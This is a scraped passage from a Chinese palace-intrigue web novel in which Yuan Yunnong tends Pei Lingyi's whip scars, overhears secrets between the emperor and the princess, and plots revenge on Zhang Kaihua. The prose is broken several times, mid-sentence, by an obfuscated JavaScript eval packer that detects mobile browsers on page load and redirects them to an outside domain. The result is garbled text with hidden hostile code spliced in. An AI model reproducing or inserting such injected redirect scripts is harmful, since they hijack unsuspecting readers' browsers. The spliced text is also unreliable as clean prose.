他这回可以说是帮了大忙,国公府的人都对他另眼相看,就连管家都对他嘘寒问暖起来。 来来**有不少人来清仪馆看他,岐国公和惠贞长公主都来过,甚至于元彻回都来看了一眼。 但是元韫浓没来。 “这小郡主还真是没心没肺的,主子都为她伤成这样了,她居然看都不来看上一眼。”裴九小声嘀咕。 裴七专注地给裴令仪上药,“她对什么上过心?世家贵女,天潢贵胄,主子在她眼里跟随手捡的小猫小狗有什么区别?” 裴九安静了一会,又恨恨地咒骂张开华,咒骂慕载物,还有张家。 他问裴七:“那几个氏族是动不了,但那个刑官和行刑吏总能动吧?你去找他们的时候,怎么教训的?” 裴七默了默,表情也有些古怪,“我去的时候,已经**,死相很难看。” “谁动的手?”裴九也惊奇。 裴七摇头,“不知道,但是看最后致命的伤痕,应该是暗卫出身,手法有些像……” 他说着就摇摇头,觉得这不可能。 那手法像是国公府出身的暗卫,可国公府怎么可能替裴令仪出头? 难不成是元韫浓身边那个武婢……叫什么来着?小满吗? 裴九却不在意这个,“那是好心人看不下去了,他们就该这样付出代价。” “你想的太简单了。”裴七说。 “是他们太毒了,居然往鞭子上浸泡药水,这种伤本来就难养,现在要怎么祛疤呀……”裴九习惯了絮絮叨叨。 很少有人跟他说话,他也习惯自言自语。 裴七看了他一眼,“早说了南朝没有什么好人,你就不该对朝荣郡主抱有希望的。” 裴九对着摇曳的烛火低声自语:“可是她多番为了主子出头,得罪了很多人啊。” “她对很多人都很好,攻心市恩罢了。”裴七却说。 昏暗的烛光不停摇曳,映照着他们疲惫的面庞。 “住嘴。”裴令仪闷声呵斥。 药膏涂抹在皮开肉绽的血口上,他咬紧牙关,忍耐苦痛。 这也没什么,他对痛苦早已**以为常。 不再有人说话,深夜寂静,唯有烛火的噼啪声相伴时。 片刻之后,裴令仪闭了闭眼,“取铜镜来。” 裴七裴九对视了一眼,有些犹豫。 最后还是裴七把镜子取来。 铜镜在烛火下折射出一道光,晃了一下裴令仪的眼睛,他的手微不可察地一抖。 交错的十字疤痕印刻在脸颊上,如同枯枝般使得他漂亮的脸出现裂痕。 他肌肤本来就是阴郁的苍白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不说话吗?看来你也不是很想我留下来。”元韫浓随手将药盒搁在一边的桌上,转身就要离开。 “等等!”裴令仪急喘着拉住元韫浓的手腕,“别、别走!” 至少这个时候别走。 元韫浓停了下来。 她看向裴令仪,裴令仪却下意识别过头不与她对视。 只有手依旧紧紧握住她的手腕,像是在摇尾乞怜。 两个人就这样僵持着。 元韫浓叹了口气,又拿回了药盒,坐了下来。 她沉默着给裴令仪上药。 裴令仪的伤口狰狞可怖,纵横交错地遍布背脊,房间里出了药苦,就是血腥气。 裴令仪却莫名觉得难堪,**这时候该说什么,也不敢再说什么。 冰凉的药膏被微凉的指尖涂抹在他背脊上的伤口上,火辣辣的疼痛才像是被落雪安抚了一样,稍稍平复了一些。 取之而代的却是另外一种未知名的燥热。 裴令仪的睫毛颤抖着,“……阿姊。” 后背的伤或许是已经上好了药,元韫浓掰过他的脸,“留两道疤算什么?不就是科考不了了吗?那又如何?去做武官,或是叫我父兄举荐,那么多条路在。” 元韫浓沾了药膏,轻柔地抹在裴令仪脸上的伤口,“我会叫人去寻药,天下之大,我不信连两道疤也医不好。” 裴令仪望向元韫浓的眼睛。 她的眼睛是苦涩的、平淡的、忧伤的。 月色是沉重的,也是柔软的。 再冷,也是亮的,是软的。 裴令仪垂下眼睛,轻轻应了一声:“嗯。” 上好了药,元韫浓把药盒丢到一边,抬手摸了摸裴令仪的头,“别担心。” 她无声地攥紧了拳头,指甲深深嵌入掌心。 她看向窗外,窗外是她叫人移植到清仪馆的花木,这些花花草草都被裴令仪养得很好。 元韫浓稍稍松懈了眉目,总会有办法的。 一个一个清算过来,总有法子的。 毕竟他们都是睚眦必报之人。 第20章 保护 这么一遭下来,裴令仪在岐国公府的地位水涨船高。 对其视若不见的惠贞长公主碰上他,都会点头示意。 就连元彻回偶尔遇见裴令仪,也会多几分好脸色。 裴令仪先前那招虽险,但可见胜算确实是大。 不过裴令仪本人一直压着股火。 元韫浓到的时候,都能听到房内的摔东西声。 “还没找到吗?”裴令仪顺手砸了手边的瓷杯,怒道,“连这点药材都找不到,我的脸要什么时候才能好!” 寻来的药方说是能祛疤,可其中一味药一直找不到。 容貌对他来说本无关紧要,可他知道元韫浓喜欢他这张脸。 裴七裴九跪下喊道:“主子息怒。” “这点小事,也值得动怒?”元韫浓缓步走进,“气急攻心,伤势得好得更慢了。” “阿姊……”裴令仪微微侧过脸,依然下意识不自然地避免元韫浓看到他脸上的伤疤,“底下人怎么连阿姊来了,也不知道通报一声?” 元韫浓坐到他面前,“通报了,就好让你藏好些了,不被我看到脸?” 裴令仪哑然。 “别动。”元韫浓抬手扶住他的脸,细细地看他脸上的伤。 裴令仪垂着眼睛,睫毛扑簌,有些紧张。 元韫浓松开了手,“好多了。” “嗯。”裴令仪点了一下头。 “差的那一味血竭,宫里头有。母亲下午会进宫向惠帝求药,不必忧心。”元韫浓说道,“正当理由也是有的,我手上也是摔伤了,要祛疤呢。” 裴令仪看着元韫浓依然缠着细布的手,“劳烦阿姊多挂怀了。” “先前也没见你那么在意这张脸呢。”元韫浓笑了一下,“夏日烦热,别老在屋里头闷着,伤口都要捂发炎了,多去外边走走。” 窗外蝉鸣声阵阵,先前移植过来的花木繁茂,在明媚日光下渲染出生动至极的绚烂,那种色彩犹如会流动一般。 元韫浓舒展开眉目,“费尽心思赢来的场面,也得好好维系才对。” 裴令仪顺着她的视线看出去,轻轻地应了一声:“好。” 元韫浓随着惠贞长公主进宫,长公主除了求药,也是有着和惠帝谈谈的心思。 惠帝对长公主因着先前巫蛊案一事似乎心怀歉疚,除了允诺了血竭以外,还赏赐了不少东西。 元韫浓看准时候,适时开口,说自己想去找慕水妃玩,然后悄然离开。 走出殿门前,她回头望了一眼。 惠帝和惠贞长公主这对姐弟都安然坐在自己的位置上,没有一个人动弹,也没有一个人开口。 中间无形的沟壑似乎已然将他们分离了太久。 元韫浓转回头,朝外面走去。 慕水妃对元韫浓的造访感到惊喜万分。 她和她母妃因为先前开口帮腔元韫浓,所以被皇后迁怒。 不过皇后对她们挑了几回刺,就把重心放到了慕湖舟身上。 毕竟这个向来风光霁月却不服管教的儿子,才更是令皇后头疼。 慕水妃给元韫浓端来了自己做的糕点,满脸期待,“尝尝看合不合口味?” 元韫浓咬了一口,桂花糕甜淡适中,独有的清新与芬芳。 慕水妃做的糕点都有种独特的口感,软糯的、温馨的。 前世沈川和慕水妃见不到她,就时常送点心进来。 想想她跟裴令仪也真是一类人,一个巧取,一个豪夺,也不管对方喜不喜欢自己,就偏偏要得到。 裴令仪死后,沈川就请辞离京,辞官和慕水妃离开了。 元韫浓原本没打算放他们俩走。 要是他们走了,这华丽的囚笼里困住的也就只剩下她了。 可是慕水妃又送来了点心,而沈川也说:“你已经不需要我了。” 所以元韫浓还是放他们走了,也没再追问过他们的行踪和消息。 沈川和慕水妃要去往何方,结局又是如何,元韫浓也不再想知道了。 只是他们依旧一封又一封地往京城寄信,可元韫浓从未拆开过。 “挺好吃的。”元韫浓带有怀念地看了眼那盘模样玲珑可爱的点心,却没有多吃。 慕水妃见她没吃几口,就问:“不合口味吗?是不是不喜欢桂花糕?那你喜欢什么?我下次再做给你吃。” 看元韫浓没回话,慕水妃兀自说道:“上回见你多吃了点宴席上的透花糍,是喜欢吃这种吗?” 元韫浓目光愈发复杂。 “水妃姐姐。”元韫浓打断了她,“你为何如此迁就我呢?” 元韫浓一直没明白这一点。 她原本以为,那是因为慕水妃本就是这样很好很好的人,换了谁慕水妃都会这样对待。 但她看过了,慕水妃对待自己姐妹并不青睐,兄弟姐妹里,慕水妃偏偏对她这个表妹最照顾。 慕水妃静默片刻,露出微笑:“你是我唯一能保护的。” 她不想欺骗元韫浓,所以说实话:“那么多的兄弟姐妹里,我和母妃并不被重视。” “或许是因为我的软弱,身边的人总是会受到伤害。” “从小跟在我身边,却因为卷入宫斗之中被冤枉的侍女,我没能保住她。” “甚至是更小的时候,我在寝宫院子里那棵树底下发现的蚂蚁窝,也是这样。” “五弟碾**那些蚂蚁,用烧烫的水灌进了蚂蚁窝。” “我就在旁边看着,甚至没有开口阻止他。因为我害怕他迁怒我,迁怒我的母妃。” “那个蚂蚁窝是我年幼时,在母妃午睡时打发时间的乐趣。那时候我没有玩伴,甚至很少有人跟我说话。” “谁会在意随时都可以碾死的蝼蚁呢?也不会有人在意一个不起眼的公主在想什么。” 她的神情很温和,就像是提起一件微不足道的小小往事。 慕水妃望向元韫浓,目光柔软,“但你不一样,韫浓,你是唯一能够保护的。” “你还记得你七岁那回的宫宴吗?”她问,“你一个人从宴席上溜出来玩,被那几个纨绔子弟当成什么不起眼的官员女儿。” 元韫浓的记忆里,这只是一件细枝末节的插曲罢了。 无非是有人不长眼睛冲撞了她,她装装可怜罢了。 因为那时候她看见自己兄长就在不远处,可是最先站出来,挡在她前面的人却是慕水妃。 慕水妃说:“你或许是被吓坏了,或许根本就不怕。可我还是站出来了,哪怕你或许根本不需要。” “你当时,嗯……”她拿手比划了一下,“就这么一点高,泪眼汪汪的,看着很可怜。” 元韫浓说道:“就是因为你保护了我,以你公主的身份恐吓了那几个人,你第一次保护得了什么。” “是的。”慕水妃半阖着眼睛微笑,“所以我对你的好,你也不必挂怀。” 元韫浓看着她,“因为你也在我身上汲取你所需要的。” 这就是为什么慕水妃对她那么纵容,永远宽恕,永远谦让。 “嗯。”慕水妃略带些苦涩地笑了笑,“抱歉啊,韫浓,我待你好,并没有那么纯粹。” “没关系。”元韫浓闭了闭眼,“这又有什么?” 于她而言,根本无关紧要。 天底下本就没有谁对谁的好是毫无原因的。 她笑了笑,“水妃姐姐,不必挂怀的人理应是你。” 慕水妃愣了愣,也笑了起来,“喜欢吃透花糍吗?我下次给你做。” “早早听了底下人传报,说是朝荣郡主跟着惠贞长公主一起进宫了。去父皇那里扑了个空,原来是跑到你水妃姐姐这里讨透花糍吃。”一道明朗的声音响起。 慕湖舟迈步进来,含笑打趣:“要见表妹一面真是好不容易。” “三皇兄。”慕水妃起来,微微欠身。 慕湖舟摆了摆手,对元韫浓道:“我去父皇那,父皇正和姑母议事,问了底下人才知道郡主是跑这里来了。” “表哥找人也该问一声才对,哪有直接就去陛下那里的?”元韫浓托着腮。 “倒是我的不是了。”慕湖舟无奈摇头。 元韫浓偏了一下脑袋,“表哥是来找我打发时间呢?还是躲清净来了?” 她进宫前可就听说了,今日白翩飞被皇后传召 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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迎面就是皇后丢过来的茶杯,慕湖舟面不改色,避也没有避一下,似是**以为常。 他径直掀袍跪下,“母后息怒。” 茶杯擦着他头发丝过去,在地上四分五裂。 “母后?你眼里还有我这个母后吗!”皇后怒火冲天,“不知道的,还以为岐国公府那个不是你的姑母,而是你的生母呢!” 她质问:“本宫叫你跟翩飞好好相处,你为什么一面都不见,就径直走掉了?你叫翩飞怎么看?你让旁人怎么看!” 慕湖舟低下头,“儿臣有要事在身……” “要事?”皇后直接打断了他,“你能有什么要紧事?你的要紧事就是见元韫浓那个小**吗!” “母后!”慕湖舟抬起头,眉头紧锁。 “呵,怎么?本宫现在是一句都说不得她了?”皇后冷笑,“叫你一声表哥你还真把她当成亲亲表妹了?告诉你,亲疏远近不只是看血缘,更是看利益关系!” 慕湖舟闭了闭眼,“母后,儿臣如今并无娶妻生子之心。” 皇后尖锐道:“难道本宫是叫你成婚生子吗?本宫叫你成婚,主要是为了你未来妻子身后的支持和助力!” 她步步紧逼,咄咄逼人,“翩飞到底有哪里不好?你到底是哪一点瞧不上她?竟然是一面都不肯见,直接跑去找元韫浓!” “母后。”慕湖舟眉眼疲惫,“成婚之事,有道是父母之命,媒妁之言。可母后嫁给父皇,便真的开心了吗?” 皇后僵直在原地。 片刻之后,她怒声问:“你这是什么意思?你这是在怨怪你的母后吗?” “儿臣并无此意。”慕湖舟道。 “不想娶翩飞,那你想娶谁?”皇后问,“高小姐?还是王小姐?还是说褚小姐?” 见慕湖舟毫无反应,皇后蓦然拔高了声音:“难道是说,你想要娶元韫浓吗!” 第21章 秘闻 慕湖舟抬眼看向皇后,“儿臣有一事一直不明,为何母后如此厌恶姑母和应怜?” “那是你的敌人!”皇后像是激怒了。 “敌人吗?若说是五弟,那儿臣尚能理解。毕竟同为皇子,五弟母族势大,储君未立。”慕湖舟平淡道。 他问:“可姑母和应怜又是为什么?” 皇后说:“岐国公势力之大,难保惠贞和朝荣日后不生出什么别的心思来。” “以什么身份?长公主?还是郡主?”慕湖舟讽刺地勾起唇角,“以母后的心思,难道不改将此认为来日助力积极拉拢吗?国公府并未站队,可偏偏母后似乎憎恶他们,甚至超过了五弟。” 皇后一时间给不出回答,只能强装镇静,“本宫是为了你的以后!等你当了储君乃至于陛下,外戚专权,难道就是你想要看见的?” “儿臣乃是母后亲子,母后又缘何骗我?”慕湖舟轻叹一声。 “你究竟都知道了些什么?”皇后心中不祥的预感愈发浓重了。 慕湖舟不卑不亢地注视着皇后,“近来儿臣听了些传闻。” “什么?”皇后问。 “原来也不是什么大事,本就是大家都知道的事。无非是说父皇与姑母是同胞姐弟,生母早逝,在宫里相依为命长大。”慕湖舟说。 皇后稍稍松了神,“不错,此事人尽皆知。” 而慕湖舟继续平静道:“直到皇祖母求先帝将父皇过继到她名下,姐弟分离。皇祖母不喜父皇同姑母见面,三番五次制止,直到父皇出宫开府,而后成为帝王才好起来。” “你从哪知道这些的?”皇后精神紧绷。 “要是想查,动点心思也能知道。”慕湖舟直视自己的母后,目光锋锐,“皇祖母不喜欢姑母,是因为什么?” 皇后厉声道:“你怎能用这般心思揣度长辈?不喜欢就是不喜欢,哪儿来的那么多为什么?” 这不是她第一次以长辈,以母亲的身份来压制慕湖舟。 自慕湖舟长大之后,心思越来越多,也不像年幼时那么千依百顺。 对此,皇后万分恼火,却又拿慕湖舟没办法。 上回巫蛊案后,私底下她就被太后劈头盖脸斥责了一顿。 “蠢东西,你是布局之人,怎的那么沉不住气?”太后冷哼,叹了口气,“若是你能有朝荣那丫头七分的冷静擅诡辩,哀家又何至于这般年纪还要亲自操刀应付这等局面。” 那股**的怒火一直憋到现在,皇后不敢对太后说什么,此刻全怨怪到了慕湖舟身上。 “你好好做你的三皇子,将来还会是太子,是皇帝,非要追查这个做什么!”她吼道。 慕湖舟眼神带有审视,“皇祖母不喜姑母,是因为姑母的存在会时刻提醒父皇,那才是他血脉相连的亲人?还是因为皇祖母做了什么吗?” “做了什么?做得可多了!”皇后大笑起来,又猛地收住了笑声,恨声道,“反正也会是一辈子敌人了。” 慕湖舟微微蹙眉。 “你以为哪来的那么巧的事情?”皇后问,“先帝子嗣凋敝,你父皇和惠贞的生母怎么就那么巧暴毙了呢?” 甚至太后还为了掩人耳目,耐心等待了几年,等到这件事情风波过去,无人怀疑,才求先帝过继的惠帝。 慕湖舟尽管隐约有了预感,却依旧为这个答案所震撼。 只剩下哑然。 想要一个可以亲自推到龙椅上,用来把控朝政却非亲生的孩子,却没有那么多巧合。 杀母夺子。 而和慕湖舟、慕水妃分别的元韫浓,回到惠帝的圣宸宫前。 惠贞长公主还在里边和惠帝谈些什么。 惠帝身边的宦官守在外面,对于元韫浓的出现早已司空见惯,堆着笑道:“陛下还在同长公主谈事呢,郡主要不先去偏殿等等?” “陛下和母亲在内室吧?无妨,我到里头等也一样。”元韫浓微笑。 “这……”宦官面露难色。 没有通报,怎么好让元韫浓先进去等? 元韫浓说:“阿舅和阿娘无非就是聊聊家常,有什么听不得的?我就在外边等着,这有什么的?” 她一副疑惑的模样,似乎是真不懂其中的道理。 往常元韫浓也常在里边等,虽说是禀报过惠帝的,但倒也没出什么事。 宦官侍奉惠帝已久,日日咫尺颜,最知道惠帝是个什么德性,惠帝身边的人又是怎么一个样。 这个朝荣郡主瞧着柔弱温良,实际上时常不动声色地告御状上眼药。 一会得罪了她,她又要开始了。 犹豫片刻,宦官立马挤出笑脸:“瞧郡主这说的说什么话,一会陛下若是怪罪下来,郡主可得记得替奴才们说话。” “阿舅不会怪罪你们的。”元韫浓笑了笑。 她抬脚迈步进门,动作极轻。 殿内隔着空山新菊的屏风,再过弯道,里头内室惠贞长公主和惠帝还在谈。 元韫浓坐下,垂着眼仔细听里头的声音。 细细碎碎,听不真切。 直到惠贞长公主的声音激动了起来:“等?你还要我等?你要我等到什么时候!” “母妃去世时你叫我等,你被太后收养时也叫我等,做了亲王仍叫我等!” “你劝我嫁给岐国公时,我怀上第一个孩子时,我生下应怜时,你也要我等!等等等,我要等到什么时候?” “你如今已是帝王,你我儿女皆已长大成人,到了谈婚论嫁的时候,到了这一步,你还要我等!” “这回叫我等到什么时候?等到我黄土白骨吗?” 静默了半晌,传来惠帝的叹息。 惠帝说:“帝王身不由己之事何其之多,皇姐该理解我才是啊。” 惠贞长公主笑了一声:“你我一无所有之时,你便安慰我,说等你长大了出宫开府,便把我接出宫去,天下之大任我畅游,你说一切都会好的。” 她问:“你刚称帝王时也说,你现在羽翼未丰,受制于太后,叫我等等。等你站稳脚跟,一切就会好起来了。十几年过去,我为何还在原地?” 惠帝没有说话。 “当初你说自己在朝堂上孤立无援,劝我嫁给岐国公。”惠贞长公主步步紧逼,“好,我嫁了。” “岐国公同亡妻伉俪情深,育有一子两女,我本不欲成他续弦。我愿意下嫁,那都是为了你的千秋大业。” “因为你说那都是假的,这只是权宜之计。权宜之计?那只是你对我的权宜之计!但我还是信了。” “怀上第一个孩子的时候,太医诊脉说可能是个男胎,那时候我动过心思别再继续等你了。” “我的丈夫是个好人,他待我从未失过礼数,我想就这样吧,就算了吧。” “还是你劝我,打掉那个孩子。” 听到这里,元韫浓眸光一闪。 那次据说是意外,实则有人授意的流产,居然是惠帝的意思吗? 惠帝默然不语,又低声解释:“那时国公次女着实年幼顽劣,意外冲撞了你,使你胎相不稳。太医说了,若你执意留下那个孩子,生产时会危及性命。” “说得好听。”惠贞长公主嗤笑。 她质问:“你当真是忧心我的身体,而不是怕我真的融入国公府,夫妻两心相通,不再是你千依百顺的棋子?不是你盯着国公府的眼睛?” “你怕那个孩子牵绊了我。”她恨恨道。 这应该是事实,因为惠帝只有沉默。 惠贞长公主继续说:“所以你才劝我趁着月份不大,打掉那孩子,而我也听了你的话。” 惠帝依旧是叹气:“皇姐为我牺牲良多,这些我都知道。” “可你不在意。”惠贞长公主斩钉截铁道。 “你并非不知道我的挣扎,你只是更在意自己的江山万代。”她道,“我始终如一地支持你,是因为你曾经是我唯一的亲人。” “我知道。”惠帝说,“我也把皇姐当成最重要的亲人,没有皇姐,我不会有今日的。” “真的吗?”惠贞长公主反问,“所以你所有的路都要用我来牺牲吗?” 惠帝的语气逐渐沉了下来,“所以皇姐这是因为当年那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看来惠贞长公主仍然没有放下这份亲缘。 也难怪了,毕竟在很长一段时间里,惠贞长公主认定的,只有惠帝这一个亲人。 没有那么容易割舍的。 大致了解了这些前尘往事,元韫浓思绪起伏,心情复杂。 对于惠帝,她也依然只剩下怨怪和厌恶。 毕竟是他无能又软弱,不仅要用女人铺路,还要用曾经相依为命的姐姐铺路。 裴令仪进元韫浓的岁浓院,推开房门时,就闻到了绵延的酒香。 喝酒了?裴令仪惊诧。 元韫浓正用手臂撑着脸,半趴在桌上给自己倒酒,看到裴令仪来,懒洋洋地抬眼,“来了?” 夏日满枝的繁花浓艳喧闹,元韫浓许是半醉不醉,云发丰艳,两颊生晕。 眼睑下微星的小痣也因着这半分的醉意生出几分媚态来,似是胭脂点碎。 眼波流转,艳情透渗。 满树繁花,霎时黯然。 她朝着裴令仪伸出手,皓腕凝霜雪,玉镯碰撞,叮当作响犹如泉水。 犹如莲花座上,朝裴令仪伸出手,来解救他这经世苦难人。 裴令仪下意识握住了那只手。 元韫浓笑了一声:“问你喝不喝酒,上来抓我手做什么?” “喝酒伤身。”裴令仪按住了元韫浓拿酒壶的手。 “用得着你管?”元韫浓轻嗤一声,踢了一脚裴令仪的小腿。 裴令仪站着没动,顿了顿,接过了酒壶,“我为阿姊斟酒。” 清亮的酒液倒入杯中,裴令仪递杯给元韫浓,“还请阿姊少饮酒。” 元韫浓接过杯子,仰头一饮而尽,随手将杯子搁在桌上。 见裴令仪没有反应,元韫浓扬眉,“再倒啊,怎么不倒酒了?” 裴令仪停顿了一下,又取了一个杯子,给元韫浓斟一半,给自己倒满酒,“我与阿姊共饮。” 元韫浓唔了一声:“也好。” 第22章 血债血偿 元韫浓忽的伸出双手捧住裴令仪的脸,凑近了仔细看。 裴令仪脸上的伤疤覆了细布,她直接揭开来细看。 “阿姊……”裴令仪喊了一声。 元韫浓靠得太近了些。 她好像用的是茉莉花发油,混杂着身上略苦涩的药香,好像被体温淬成了若有若无的雾气。 裴令仪开始胡思乱想了。 元韫浓的指尖轻轻抚摸过裴令仪脸上已经结了痂的伤口。 像是用朱砂红往宣纸是洇开的痕迹。 “这哪里是疤啊?”她笑,“像是缝上去的针线。” “阿姊莫要再打趣我了。”裴令仪稍稍错开视线。 元韫浓取出药盒,“母亲求来了血竭,药制好了的,只那么一小盒。但要不留疤用这药,得把你结了痂的伤口都得揭开来上药。” 裴令仪定了定心神,颔首,“我受得住。” “若是脸上,也就罢了,背上的伤口那么深,这点药不过才能祛几条疤,你也要用吗?”元韫浓问。 她觉得没必要,又不在脸上,影响不了太深。 那么深的伤口,又不像脸上那两条,不得疼死? 制药的医者也说了,这药本来用着就疼得很,遑论揭开血痂往赤裸的血肉上用了。 要不是张开华那老匹夫派人用那沾了药的鞭子,何至于那么难? 上品血竭又不常有,拿来制药的这点还是惠帝因为惠贞长公主的质问,心虚之下省出来的。 “阿姊,我受得住的。”裴令仪又重复了一遍,语气平静。 元韫浓又倒了一杯酒,递给裴令仪,“那再多喝几杯吧,最好醉昏过去,省得一会疼死。” 裴令仪接过酒杯,垂下眼睛笑了笑,“好。” 满饮此杯,他道:“我回去叫裴七裴九上药。” “便在此处吧,我点了安神香。”元韫浓莞尔,“让你少受几分苦。” 裴令仪轻咳一声:“在此处吗?” “嗯,床借你一用。”元韫浓带有促狭,“别不好意思,叫霜降换床被褥的事。” “那便请阿姊回避一下,场面血腥,我怕污了阿姊的眼睛。”裴令仪还是道。 “嗯嗯,好吧好吧。”元韫浓敷衍道,“把屏风拉上总行了吧。” 裴令仪不好再说什么,唤来裴七裴九入内上药。 元韫浓身上向来都有久居高位,养尊处优的特质。那种高高在上,平静地流淌从那种优越。 犹如帝王般的喜怒无常。 朝逢恩,暮赐死。 在元韫浓面前,裴令仪从来小心翼翼。 所以痛得要命,裴令仪也没发出声音,不想惹元韫浓心烦,也不想让元韫浓担心。 裴令仪轻轻将脸埋在元韫浓枕间,枕间的药苦似乎比那安神香更有用。 再疼些,再可怜些,是不是能得到元韫浓几分好脸色? 伤好得那么快,他要怎么在元韫浓面前摇尾乞怜? 或许是疼得神志不清了,裴令仪恍恍惚惚地乱想。 皮肉的灼痛,还有那股血腥气就一匝匝索绞在喉咙口。 裴令仪又想,剩下几道疤留下来,也好。 最好像是缠枝莲一样,烙印在背脊上,就当做事关元韫浓而留下的刺青。 裴九还以为裴令仪是太疼了,手也有些抖。 裴令仪的血渗进了身下的锦被里,安神香的味道都盖不住血腥味。 裴七接上他手里的活,咬咬牙安慰:“主子,再忍着些,就快好了。” 上完了药,裴令仪被裴七搀扶着坐起来,甚至还没披上外衣。 元韫浓直接越过屏风,走到了他跟前。 裴令仪出了一身冷汗,乌发透着一股潮热的湿气,面色雪白,唇瓣上的齿印像是猩红的樱桃绽裂一般。 “阿姊,实在是抱歉,我弄脏了你的……”他下意识说。 “我瞧瞧。”元韫浓倾身下来,捧着裴令仪的脸看。 酒香和药苦混在一起,裴令仪微微睁大眼睛,望着元韫浓近在咫尺的脸庞,止住了话头。 元韫浓点头,“嗯,不错。” 裴令仪轻轻撇过来,对裴七裴九压低了声音吩咐:“你们都先出去。” “我、我先披件衣裳。”他忙回避眼神,抽了一件衣裳匆忙披上。 “干什么?刚上完药呢。”元韫浓按住他手,“如今你我算是义姐弟,这有什么好避讳的,又不是外男。” 她这也是醉了,把很多事情都混淆了。 “我……”裴令仪还想要说什么。 元韫浓就心不在焉地提起别的了:“回来路上,我央求了母亲,将国公府半数的行商族务交由我打理。” “长公主名下的商队和铺子有许多特权,免去了不少苛捐杂税。”裴令仪回过神道,“不少商人有所顾忌,明争暗斗时不会牵连。” 元韫浓应了一声:“嗯,母亲说,若是成效不错,便全部交给我。” 不仅是惠贞长公主的私铺,整个国公府的都交给她。 那么掌控整个元氏的商业指日可待。 “阿姊行商时,可得小心些城西那边。张家府邸坐落于那边,近日以来,那边最乱。”裴令仪道。 “是巫女那事吗?”元愠浓挑眉,“倒也有所耳闻。” 裴令仪颔首,“巫蛊案后,张开华借口是消灭这股歪风邪气,实则是借此之名消除异己。” 只要是想杀的,借口说对方家中女眷是巫女,不管三七二十一,便能杀了个干净。 但凡有人为其说话打抱不平,或是不认同这看法的,就被当作是包庇巫女,会是被巫女所蛊惑,一并杀了。 这么一来,人人自危,就算心里面不那么想,也不敢说出来。 甚至有甚者,看不顺眼哪个姑娘,便向官府举报对方是巫女来污蔑对方。 一场浩浩荡荡的猎巫行动。 还有谣言四起,说司卜者以龟甲蓍草占之,卦象现大异,京华南面有一贵女是妖孽转世,必然祸乱南朝。 再加上先前那些女巫眼下都有泪痣,种种合并在一起,就差没明说是元韫浓了。 “张开华那老东西,真是活得不耐烦了,敢造我的谣言。”元韫浓冷嗤一声。 裴令仪见元韫浓心情不愉,轻声安抚:“阿姊勿忧。” 他想了想,“要不要我叫裴九去……” 他在元韫浓面前没遮掩过裴七裴九二人武艺超群的事实。 “这岂不是便宜了他?”元韫浓抬手摸了摸裴令仪的脸,“他害你如此,我要他也一样。” 张开华父母早亡,早年间长兄如父,犹如父亲般照顾两个弟弟长大。 后来成了张家族长之后,两个弟弟地位也水涨船高。 只可惜这两个弟弟私底下关系不和,积怨已久。 尤其是张开华举荐其中一人入朝为官,另外一人仍是布衣白身,这二人的关系更为恶劣了。 为官的那个认为张开华只是需要他入朝为官为家族开拓前路,另一个却能毫不费力地坐享其成。 而布衣的那一个却认为张开华偏心另一个,不然怎会让那个为官,自己却只能毫无身份。 张开华这个做兄长的夹在中间无法讲和,又不好偏袒其中一方,十分难做。 他只让其中一人入朝为官,属实是出于对家族前路的考量,还有二人的能力如何。 这一点,几乎是人尽皆知。 “他残害我弟弟,那就让他以一个弟弟作为代价来偿还吧。”元韫浓微笑,“他的血得流得更多一些才好,当年我母亲身边的一个侍女,便是被他找了借口打杀的。” 她幽幽地说道:“以血偿血,以牙还牙。” 血债血偿,天经地义。 怎么样才能让张开华更痛些呢?裴令仪说:“如果再让他选,他会选哪一个?” “要不要来打个赌啊?清都。”元韫浓来了兴致。 她侧靠在自己床边,“如果叫张开华只能选其中一个,另一个就得死,你猜猜他会选谁?” 裴令仪沉吟片刻,“我觉得是为官的那个。” “我恰恰相反。”元韫浓跟裴令仪想得不一样。 裴令仪有些诧异,“张开华第一次已经在其中有了选择,选择让二弟为官,三弟为白身,无论是出于情感还是利益,这已经是做出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476446|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选择了。” “利益和命那可不一样。”元韫浓撑着下巴,笑,“我倒是觉得,他更喜欢三弟呢。” 虽然嘴上说着一碗水端平,但人心都是偏的,多少而已。 张开华怎么可能对两个弟弟的感情都分毫不差呢? 他既然选二弟为官,不仅是出于能力和家族前路考虑,必然也是为了保护他那天真的三弟的。 可见张开华是爱他三弟的,爱到这一大把年纪了,却还是心疼弟弟。 裴令仪微微勾起唇角,“看来我和阿姊意见不一。” “赌什么?”元韫浓眉梢一挑。 “便赌醉仙楼一个月的酒席好了。”裴令仪道。 元韫浓犹嫌不够,“这有什么意思?这样吧,输家要答应赢家一个条件,什么都可以,如何?” 裴令仪点头,“好。” “等着瞧吧,准是我赢。”元韫浓笑。 